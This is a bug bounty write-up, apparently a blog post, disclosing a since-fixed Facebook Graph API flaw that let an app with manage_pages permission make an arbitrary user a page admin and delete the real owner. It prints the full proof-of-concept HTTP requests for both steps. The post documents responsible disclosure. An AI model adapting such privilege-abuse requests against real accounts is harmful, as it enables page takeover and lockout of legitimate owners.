Hacking Facebook Pages Vulnerability


A security vulnerability in Facebook business manager endpoint allows a third party application to hack any Facebook page with limited permissions and the victim will permanently lose admin access to the page.
By default Facebook application interface do not allow third party applications to add or modify page admin roles (page roles like manager, editor, analyst etc..). Third party applications are allowed to perform all the operations like post statuses on your behalf, publish photos, etc.. except adding admin roles because if an application is allowed to add or remove admins then it could add some user as admin to the page and remove the actual owner permanently.
In the other hand there is an endpoint for business pages called userpermissions which allows to add or remove page admin roles who are already handling the Facebook business.
Following request would make target user as admin of the page.
Request :-
POST /<page_id>/userpermissions HTTP/1.1
Host :  graph.facebook.com 
Content-Length: 245
role=MANAGER&user=<target_user_id>&business=<associated_business_id>&access_token=<application_access_token>
 
Response :-
true
After a few minutes of testing i got to know that removing the business parameter from the request didn’t throw any error and allow us to add anyone as new page admin and delete the actual page admin on non business page where the application has manage_pages permission.
That’s it! Whatever the application may be, if it is having manage_pages permission of the admin then it could hack all of your Facebook pages in a fraction of seconds.

Final Proof of Concept :- 

If you are unable to understand then please watch this video.
Page Takeover :

Request :-
POST /<page_id>/userpermissions HTTP/1.1
Host :  graph.facebook.com 
Content-Length: 245
role=MANAGER&user=<target_user_id>&access_token=<application_access_token>
 
Response :-
true
 

Removing Victim

Request :-
Delete /<page_id>/userpermissions HTTP/1.1
Host :  graph.facebook.com 
Content-Length: 245
user=<target_user_id>&access_token=<application_access_token>
 
Response :-
true
Thats all! Target page is hacked!
 
Reported this vulnerability to Facebook security team and it is completely fixed now. They rewarded me $2500 USD as a part of their bug bounty program.
Even though they placed a fix for this vulnerability, please be aware of the permissions you grant to any applications.
 
Permissions dialog box would look like this
Manage pages permission dialog box
if manage_pages is requested please note that this app would be able to manage your pages (post statuses, publish photos etc..).
Don’t worry you can still modify the permissions you have granted to other apps here.
 
Facebook reply after few emails 
 
Acknowledgement of Fix

Popular Posts